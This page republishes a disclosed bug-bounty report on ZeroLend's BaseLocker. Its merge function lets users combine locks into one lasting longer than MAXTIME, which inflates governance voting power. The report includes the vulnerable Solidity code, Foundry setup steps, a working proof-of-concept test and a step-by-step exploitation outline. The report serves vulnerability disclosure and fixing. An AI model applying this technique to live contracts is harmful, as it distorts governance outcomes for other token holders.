Skip to content
Business logic Audit finding Intermediate

ZeroLockermerge can make a voting lock last lon

The merge function in the BaseLocker contract does not check that the resulting lock duration (end minus start) stays within MAXTIME, so a user can merge two locks and obtain a lock lasting longer than the maximum allowed. This inflates the voting power calculated by _calculatePower, giving an unfair governance advantage.

jovi Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

28892 - [SC - Medium] ZeroLockermerge can make a voting lock last lon...

Submitted on Mar 1st 2024 at 01:23:04 UTC by @jovi for Boost | ZeroLend

Report ID: #28892

Report type: Smart Contract

Report severity: Medium

Target: https://github.com/zerolend/governance

Impacts:

  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

I have previously reported an issue called "ZeroLocker:merge can make a voting lock last longer than 4 years" as a primary medium-severity issue at Cantina's contest as there wasn't a voting power calculation function at that codebase. I am reporting it again as the impact at the codebase in Immunefi's scope is higher and presents a significance for the voting mechanics.

Brief/Intro

The BaseLocker contract allows users to merge two different locks and end up with a lock that has a longer than MAXTIME difference between the end time and start time. This inflates the calculation of voting power for locks and give them an unfair advantage on governance.

Vulnerability Details

The merge method enables a user to bypass the MAXTIME requirement by creating two different locks that last MAXTIME, one at Time0 and the second one some time later at Time1 then merging with the first lock as the merge target (or to argument) at the merge call:

Solidity
function merge(uint256 _from, uint256 _to) external override {

As the merge function at the BaseLocker contract does not check whether the end minus the locked0.start is not greater than MAXTIME, it enables arbitrary-sized lock durations:

Solidity
LockedBalance memory _locked0 = locked[_from];
        LockedBalance memory _locked1 = locked[_to];
        uint256 value0 = uint256(int256(_locked0.amount));
        uint256 end = _locked0.end >= _locked1.end
            ? _locked0.end
            : _locked1.end;

        locked[_from] = LockedBalance(0, 0, 0, 0);

        _burn(_from);
        _depositFor(_to, value0, end, _locked1, DepositType.MERGE_TYPE);

The depositFor internal method updates the lock, but it doesn't check the end timestamp and the start timestamp difference either, the only sanity check is in regards to unlockTime != 0:

Solidity
if (_unlockTime != 0) lock.end = _unlockTime;

This enables calculatePower to utilize a numerator bigger than MAXTIME, inflating locks amounts voting power:

Solidity
function _calculatePower(
        LockedBalance memory lock
    ) internal view returns (uint256) {
        return ((lock.end - lock.start) * lock.amount) / MAXTIME;
    }

Impact Details

The whole voting mechanics is spoofed as merging allows users to have voting powers bigger than the maximum possible for the amounts deposited. This effectively makes governance a game of merging locks at the last possible moment before a voting start in order to have ever-increasing voting powers.

References

Snippet in which merge doesn't check the total duration of the lock: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L180C8-L185C28 CalculatePower internal method: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L112C4-L117C1

Proof of concept

PoC

Set up foundry on hardhat by placing

Solidity
import "@nomicfoundation/hardhat-foundry";

at the hardhat.config.ts file. Don't forget to install "@nomicfoundation/hardhat-foundry". Then install foundry at the contracts folder with the following command:

Solidity
forge init --force

Install openzeppelin contracts at foundry:

Solidity
forge install Openzeppelin/[email protected] --no-commit
forge install OpenZeppelin/openzeppelin-contracts-upgradeable --no-commit

Place the following code-snippet at the Test.t.sol file inside the test folder:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {console} from "../../lib/forge-std/src/console.sol";
import {StdInvariant} from "../../lib/forge-std/src/StdInvariant.sol";
import {LockerLP} from "../../locker/LockerLP.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MintableERC20 is ERC20 {
    address public owner;

    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "MintableERC20: caller is not the owner");
        _;
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract ZeroLendTest is StdInvariant, Test {

    LockerLP lockerLP;
    MintableERC20  arbitraryToken;
    address user = makeAddr("user");
    address public configurator = makeAddr("configurator");
    uint256 internal WEEK;
    uint256 internal MAXTIME;

    function setUp() public {
        vm.prank(configurator);
        arbitraryToken = new MintableERC20("Arbitrary Token", "ATKN");
        vm.prank(configurator);
        arbitraryToken.mint(user, 1 ether);


        vm.prank(configurator);
        lockerLP = new LockerLP();

        lockerLP.init(
            address(arbitraryToken),
            // staking address
            address(0x1000),
            // stakingBonus
            address(0x1001)
        );

        WEEK = 1 weeks;
        // MAXTIME is set to 1 year as it is the value set at the initialization of the LockerLP contract
        MAXTIME = 365 * 86400;

    }
 
    function test_poc() public {

        vm.prank(user);
        arbitraryToken.approve(address(lockerLP), 1 ether);

        uint256 unlockTime0 = ((block.timestamp + MAXTIME) / WEEK) * WEEK; // Locktime is rounded down to weeks
        vm.prank(user);
        lockerLP.createLock(0.5 ether, unlockTime0, false);

        // pass some time
        vm.warp(block.timestamp + WEEK);

        uint256 unlockTime1 = ((block.timestamp + MAXTIME) / WEEK) * WEEK - 100; // Locktime is rounded down to weeks
        vm.prank(user);
        lockerLP.createLock(0.5 ether, unlockTime1, false);

        vm.prank(user);
        lockerLP.merge(2, 1);

        (uint256 amountLocked, uint256 end, uint256 start,) = lockerLP.locked(1);
        // check if amount locked is 1 ether
        require(amountLocked == 1 ether, "wrong amount locked");

        // check the difference between the end and the start 
        require(end - start > MAXTIME, "lock duration is not over 1 year");
       
        // check if voting power is bigger than what should be possible
        uint256 maxVotingPower = MAXTIME * amountLocked / MAXTIME;
        uint256 currentVotingPower = (end - start) * amountLocked / MAXTIME;
        require(currentVotingPower > maxVotingPower, "current voting power is not bigger than maximum expected value");
    }

}

The original report as published on Immunefi, by jovi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the merge function and the internal deposit function do not verify that the new lock's end time minus its start time does not exceed MAXTIME.

Impact

The voting mechanics could be manipulated because users can obtain voting power larger than the maximum possible for their deposited amounts, potentially altering governance outcomes.

What the attacker needed

A user with tokens to lock; ability to create multiple locks; ability to call merge

How it was found

  1. Create a first lock with an unlock time of MAXTIME from now.
  2. Wait some time (e.g., one week).
  3. Create a second lock with an unlock time of MAXTIME from the new time.
  4. Call merge with the second lock as source and the first lock as target.
  5. Observe that the resulting lock's end minus start exceeds MAXTIME and voting power is inflated.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A voting lock is a way to lock tokens for a set time to get voting power. The code assumes no lock can last longer than a maximum time, but merging two locks skips that check. As a result, someone can get more voting power than they should.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by jovi

View all

25 more disclosed reports, best first.

More from ZeroLend

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.